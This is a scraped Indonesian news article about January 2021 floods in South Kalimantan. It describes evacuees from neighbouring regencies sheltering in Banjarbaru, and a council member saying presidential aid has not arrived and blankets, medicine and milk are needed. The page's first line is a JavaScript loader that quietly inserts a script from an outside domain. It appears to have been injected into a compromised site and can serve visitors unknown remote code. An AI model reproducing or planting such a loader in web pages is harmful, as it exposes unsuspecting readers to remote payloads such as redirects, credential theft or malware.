(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Korban Banjir di Tala-Banjar Mengungsi hingga Banjarbaru, Emi: Bantuan Presiden Belum Terjamah


KANALKALIMANTAN.COM, BANJARBARU – Banjir yang melanda hampir di seluruh wilayah kabupaten kota di Kalimantan Selatan, membuat puluhan ribu warga harus dievakuasi ke posko-posko pengungsian.

Bahkan, tak jarang ada sekelompok warga yang harus mengungsi ke wilayah kabupaten kota tetangga, lantaran tempat tinggalnya berada di areal perbatasan.
Seperti di Kota Banjarbaru, dimana ada sekelompok warga dari Kecamatan Kurau, Kabupaten Tanah Laut, memilih mengungsi ke Banjarbaru.

Alasannya, jarak posko di Banjarbaru lebih dekat dengan tempat tinggal mereka, ketimbang posko di wilayahnya.
Tak hanya dari Kabupaten Tanah Laut, ada pula di antaranya beberapa warga dari Kabupaten Banjar. Posko-posko di Banjarbaru yang menerima kedatangan warga luar daerah ini terpantau berada di tiga posko Kecamatan Landasan Ulin.

Anggota Komisi III DPRD Banjarbaru Emi Lasari mengungkapkan bahwa fenomena datangannya pengungsi dari luar daerad ini harus menjadi atensi bagi pemerintah daerah. Apalagi katanya, hingga sampai ini para warga dari luar daerah itu belum sama sekali terjamah bantuan dari pemerintah pusat.

 

“Kita minta Pemprov Kalsel memberikan perhatian khusus bagi Banjarbaru. Karena selain mengurus warga kita yang terkena dampak, kita juga kelimpahan pengungsi dari kabupaten tetangga,” katanya, Senin (18/1/2021) siang.

Adapaun bantuan yang dibutuhkan, kata Emi, ialah berupa selimut dan obat-obatan serta susu bagi anak-anak. Sebab dijelaskannya bahwa untuk kebutuhan sandang dan pangan telah tercukupi di masing-masing posko.

“Baju-baju layak pakai dan ketersediaan makanan, sementara ini mencukupi. Yang sangat dibutuhkan itu selimut, obat-obatan, serta susu bagi anak-anak,” beber Emi.
Selain itu, politisi PAN ini juga menyebut bahwa bantuan dari Presiden sama sekali belum dirasakan para warga. Saat ini, katanya hanya bantuan dari pihak kelurahan saja yang berdatangan.

“Bantuan dari Presiden belum terlihat didistribusikan ke lapangan. Selain itu kita perlu bantuan tenaga medis yang road show melakukan pemeriksaan di posko penampungan. Saya minta, Pemprov harus hadir untuk kab kota karena kita tidak bisa hanya mengandalkan kemampuan kota saja,” pintanya. (kanalkalimantan.com/rico)

Reporter: Rico
Editor: Bie


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.